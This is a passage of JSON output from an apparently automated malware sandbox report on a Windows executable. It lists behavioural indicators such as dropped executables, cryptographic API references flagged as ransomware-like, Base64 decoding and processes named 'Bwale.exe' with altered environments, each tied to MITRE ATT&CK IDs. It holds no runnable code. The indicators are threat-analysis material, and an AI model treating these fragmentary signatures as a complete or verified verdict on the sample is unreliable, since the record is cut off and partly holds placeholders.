MS Windows 6.01 (GUI) Intel i386 6 sections\"- [targetUID: N/A]","id":"binary-1","level":"suspicious","mitre_attack_id":"T1105","name":"Drops executable files","origin":"Binary File","relevance":10,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"General","description":"$3b","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00007864.00000000.199196.00739000.00000004.mdmp\")","id":"string-603","level":"informative","mitre_attack_id":"T1486","name":"Able to import cryptographic keys (seen in ransomware)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$3c","id":"string-602","level":"informative","mitre_attack_id":"T1573","name":"Able to use Microsoft's Enhanced Cryptographic Provider","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\")","id":"string-438","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to perform AES/RC4 encryption (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"General","description":"Process \"Bwale.exe\" (UID: 00000000-00008164) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"Bwale.exe\" (UID: 00000000-00008164) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"Bwale.exe\" (UID: 00000000-00007344) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"Bwale.exe\" (UID: 00000000-00007344) was launched with modified environment variables: \"PSModulePath, Path, PATHEXT, NUMBER_OF_PROCESSORS\"\n Process \"Bwale.exe\" (UID: 00000000-00007344) was launched with missing environment variables: \"USERDNSDOMAIN\"","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00007864.00000000.199196.00680000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00008164.00000000.199439.00D00000.00000004.mdmp\")","id":"string-721","level":"informative","mitre_attack_id":"T1055.015","name":"Able to visualize and control listed components (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"